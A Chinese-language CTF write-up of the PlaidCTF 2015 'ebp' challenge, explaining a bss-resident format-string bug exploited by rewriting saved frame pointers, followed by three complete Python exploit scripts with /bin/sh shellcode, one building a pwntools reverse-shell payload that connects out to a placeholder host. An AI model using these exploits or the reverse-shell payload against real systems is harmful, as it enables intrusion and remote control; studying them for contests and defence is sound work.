plaidctf2015 ebp
很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。
不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。
第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。
第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。
这样,echo在返回的时候将执行shellcode。
比赛时自己的poc如下:
1 from socket import * 2 import time 3 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n" 4 sock = socket(AF_INET, SOCK_STREAM) 5 #sock.connect(("192.168.200.7", 10001)) #local debug 6 sock.connect(("52.6.64.173", 4545))#remote 7 time.sleep(1) 8 infoleak="%x%x%x%x\n" 9 sock.send(infoleak) 10 time.sleep(1) 11 leak=sock.recv(1024) 12 print leak 13 echo_ebp=leak[-6:-2] 14 print echo_ebp 15 echo_ebp=int(echo_ebp,16) 16 make_ebp=echo_ebp-32 17 main_ebp=echo_ebp+32 18 print hex(make_ebp) 19 20 format1="%%%dc" % make_ebp + "%4$hn\n" 21 sock.send(format1) 22 print sock.recv(1024) 23 24 format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n" 25 sock.send(format2) 26 print sock.recv(1024) 27 28 while 1: 29 sock.send(raw_input('$ ')+'\n') 30 time.sleep(1) 31 print sock.recv(1024) 32 sock.close()
结果:
此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。
1 import socket 2 import struct 3 import telnetlib 4 5 response = 0x0804a480 6 7 offset = 4 # saved frame pointer offset 8 9 shellcode = ( # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php 10 "\x6a\x0b\x58\x99\x52\x68\x2f\x2f" 11 "\x73\x68\x68\x2f\x62\x69\x6e\x54" 12 "\x5b\x52\x53\x54\x59\x0f\x34" 13 ) 14 15 s = socket.create_connection(("52.6.64.173", 4545 )) 16 #s = socket.create_connection(("127.0.0.1", 8080 )) 17 s.send("%4$p\n") 18 addr = int(s.recv(1024), 16) 19 print "[+] Leaked Address: ", hex(addr) 20 addr1 = (addr - 0x1c) & 0xffff 21 print "[+] 2Byte Significant Byte to write : ", hex(addr1) 22 23 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n") 24 s.recv(4096) 25 26 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n") 27 print "[+] Here you go" 28 t = telnetlib.Telnet() 29 t.sock = s 30 t.interact()
还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:
1 #!/usr/bin/env python 2 from pwn import * 3 4 r = remote("52.6.64.173", 4545) 5 6 buf_addr = p32(0x0804a080) 7 sc_addr = p32(0x0804A09b) 8 9 payload = "" 10 payload += "%134520975u%4$n" 11 payload += buf_addr 12 payload += sc_addr 13 payload += "AAAA" 14 15 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898)) 16 payload += asm(shellcraft.linux.dupsh()) 17 18 print "+ sending payload" 19 r.send(payload + "\n") 20 print "+ got back:", r.recv()